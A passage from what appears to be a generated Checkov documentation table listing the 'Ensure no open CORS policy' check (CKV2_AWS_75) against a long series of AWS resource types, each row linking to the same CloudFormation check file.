[LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1414 | CKV2_AWS_75 | resource | aws_secretsmanager_secret_version | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1415 | CKV2_AWS_75 | resource | aws_security_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1416 | CKV2_AWS_75 | resource | aws_security_group_rule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1417 | CKV2_AWS_75 | resource | aws_securityhub_account | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1418 | CKV2_AWS_75 | resource | aws_securityhub_action_target | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1419 | CKV2_AWS_75 | resource | aws_securityhub_automation_rule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1420 | CKV2_AWS_75 | resource | aws_securityhub_configuration_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1421 | CKV2_AWS_75 | resource | aws_securityhub_configuration_policy_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1422 | CKV2_AWS_75 | resource | aws_securityhub_finding_aggregator | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1423 | CKV2_AWS_75 | resource | aws_securityhub_insight | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1424 | CKV2_AWS_75 | resource | aws_securityhub_invite_accepter | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1425 | CKV2_AWS_75 | resource | aws_securityhub_member | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1426 | CKV2_AWS_75 | resource | aws_securityhub_organization_admin_account | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1427 | CKV2_AWS_75 | resource | aws_securityhub_organization_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1428 | CKV2_AWS_75 | resource | aws_securityhub_product_subscription | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1429 | CKV2_AWS_75 | resource | aws_securityhub_standards_control | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1430 | CKV2_AWS_75 | resource | aws_securityhub_standards_control_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1431 | CKV2_AWS_75 | resource | aws_securityhub_standards_subscription | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1432 | CKV2_AWS_75 | resource | aws_securitylake_aws_log_source | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1433 | CKV2_AWS_75 | resource | aws_securitylake_custom_log_source | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1434 | CKV2_AWS_75 | resource | aws_securitylake_data_lake | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1435 | CKV2_AWS_75 | resource | aws_securitylake_subscriber | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1436 | CKV2_AWS_75 | resource | aws_securitylake_subscriber_notification | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1437 | CKV2_AWS_75 | resource | aws_serverlessapplicationrepository_cloudformation_stack | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1438 | CKV2_AWS_75 | resource | aws_service_discovery_http_namespace | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1439 | CKV2_AWS_75 | resource | aws_service_discovery_instance | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1440 | CKV2_AWS_75 | resource | aws_service_discovery_private_dns_namespace | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1441 | CKV2_AWS_75 | resource | aws_service_discovery_public_dns_namespace | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1442 | CKV2_AWS_75 | resource | aws_service_discovery_service | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1443 | CKV2_AWS_75 | resource | aws_servicecatalog_budget_resource_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1444 | CKV2_AWS_75 | resource | aws_servicecatalog_constraint | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1445 | CKV2_AWS_75 | resource | aws_servicecatalog_organizations_access | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1446 | CKV2_AWS_75 | resource | aws_servicecatalog_portfolio | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1447 | CKV2_AWS_75 | resource | aws_servicecatalog_portfolio_share | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1448 | CKV2_AWS_75 | resource | aws_servicecatalog_principal_portfolio_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1449 | CKV2_AWS_75 | resource | aws_servicecatalog_product | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1450 | CKV2_AWS_75 | resource | aws_servicecatalog_product_portfolio_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1451 | CKV2_AWS_75 | resource | aws_servicecatalog_provisioned_product | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1452 | CKV2_AWS_75 | resource | aws_servicecatalog_provisioning_artifact | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1453 | CKV2_AWS_75 | resource | aws_servicecatalog_service_action | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1454 | CKV2_AWS_75 | resource | aws_servicecatalog_tag_option | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1455 | CKV2_AWS_75 | resource | aws_servicecatalog_tag_option_resource_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1456 | CKV2_AWS_75 | resource | aws_servicecatalogappregistry_application | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1457 | CKV2_AWS_75 | resource | aws_servicecatalogappregistry_attribute_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1458 | CKV2_AWS_75 | resource | aws_servicecatalogappregistry_attribute_group_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1459 | CKV2_AWS_75 | resource | aws_servicequotas_service_quota | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1460 | CKV2_AWS_75 | resource | aws_servicequotas_template | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1461 | CKV2_AWS_75 | resource | aws_servicequotas_template_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1462 | CKV2_AWS_75 | resource | aws_ses_active_receipt_rule_set | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1463 | CKV2_AWS_75 | resource | aws_ses_configuration_set | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1464 | CKV2_AWS_75 | resource | aws_ses_domain_dkim | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1465 | CKV2_AWS_75 | resource | aws_ses_domain_identity | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1466 | CKV2_AWS_75 | resource | aws_ses_domain_identity_verification | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1467 | CKV2_AWS_75 | resource | aws_ses_domain_mail_from | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1468 | CKV2_AWS_75 | resource | aws_ses_email_identity | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1469 | CKV2_AWS_75 | resource | aws_ses_event_destination | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1470 | CKV2_AWS_75 | resource | aws_ses_identity_notification_topic | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1471 | CKV2_AWS_75 | resource | aws_ses_identity_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1472 | CKV2_AWS_75 | resource | aws_ses_receipt_filter | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1473 | CKV2_AWS_75 | resource | aws_ses_receipt_rule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1474 | CKV2_AWS_75 | resource | aws_ses_receipt_rule_set | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1475 | CKV2_AWS_75 | resource | aws_ses_template | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1476 | CKV2_AWS_75 | resource | aws_sesv2_account_suppression_attributes | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1477 | CKV2_AWS_75 | resource | aws_sesv2_account_vdm_attributes | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1478 | CKV2_AWS_75 | resource | aws_sesv2_configuration_set | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1479 | CKV2_AWS_75 | resource | aws_sesv2_configuration_set_event_destination | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1480 | CKV2_AWS_75 | resource | aws_sesv2_contact_list | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1481 | CKV2_AWS_75 | resource | aws_sesv2_dedicated_ip_assignment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1482 | CKV2_AWS_75 | resource | aws_sesv2_dedicated_ip_pool | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1483 | CKV2_AWS_75 | resource | aws_sesv2_email_identity | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1484 | CKV2_AWS_75 | resource | aws_sesv2_email_identity_feedback_attributes | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1485 | CKV2_AWS_75 | resource | aws_sesv2_email_identity_mail_from_attributes | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1486 | CKV2_AWS_75 | resource | aws_sesv2_email_identity_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1487 | CKV2_AWS_75 | resource | aws_sfn_activity | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1488 | CKV2_AWS_75 | resource | aws_sfn_alias | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1489 | CKV2_AWS_75 | resource | aws_sfn_state_machine | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1490 | CKV2_AWS_75 | resource | aws_shield_application_layer_automatic_response | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1491 | CKV2_AWS_75 | resource | aws_shield_drt_access_log_bucket_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1492 | CKV2_AWS_75 | resource | aws_shield_drt_access_role_arn_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1493 | CKV2_AWS_75 | resource | aws_shield_proactive_engagement | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1494 | CKV2_AWS_75 | resource | aws_shield_protection | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1495 | CKV2_AWS_75 | resource | aws_shield_protection_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1496 | CKV2_AWS_75 | resource | aws_shield_protection_health_check_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1497 | CKV2_AWS_75 | resource | aws_shield_subscription | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1498 | CKV2_AWS_75 | resource | aws_signer_signing_job | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1499 | CKV2_AWS_75 | resource | aws_signer_signing_profile | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1500 | CKV2_AWS_75 | resource | aws_signer_signing_profile_permission | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1501 | CKV2_AWS_75 | resource | aws_simpledb_domain | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1502 | CKV2_AWS_75 | resource | aws_snapshot_create_volume_permission | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1503 | CKV2_AWS_75 | resource | aws_sns_platform_application | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1504 | CKV2_AWS_75 | resource | aws_sns_sms_preferences | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1505 | CKV2_AWS_75 | resource | aws_sns_topic | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1506 | CKV2_AWS_75 | resource | aws_sns_topic_data_protection_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1507 | CKV2_AWS_75 | resource | aws_sns_topic_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1508 | CKV2_AWS_75 | resource | aws_sns_topic_subscription | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1509 | CKV2_AWS_75 | resource | aws_spot_datafeed_subscription | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1510 | CKV2_AWS_75 | resource | aws_spot_fleet_request | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1511 | CKV2_AWS_75 | resource | aws_spot_instance_request | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1512 | CKV2_AWS_75 | resource | aws_sqs_queue | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1513 | CKV2_AWS_75 | resource | aws_sqs_queue_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1514 | CKV2_AWS_75 | resource | aws_sqs_queue_redrive_allow_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1515 | CKV2_AWS_75 | resource | aws_sqs_queue_redrive_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1516 | CKV2_AWS_75 | resource | aws_ssm_activation | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1517 | CKV2_AWS_75 | resource | aws_ssm_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1518 | CKV2_AWS_75 | resource | aws_ssm_default_patch_baseline | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1519 | CKV2_AWS_75 | resource | aws_ssm_document | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1520 | CKV2_AWS_75 | resource | aws_ssm_maintenance_window | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1521 | CKV2_AWS_75 | resource | aws_ssm_maintenance_window_target | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1522 | CKV2_AWS_75 | resource | aws_ssm_maintenance_window_task | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1523 | CKV2_AWS_75 | resource | aws_ssm_parameter | Ensure no open CORS policy | 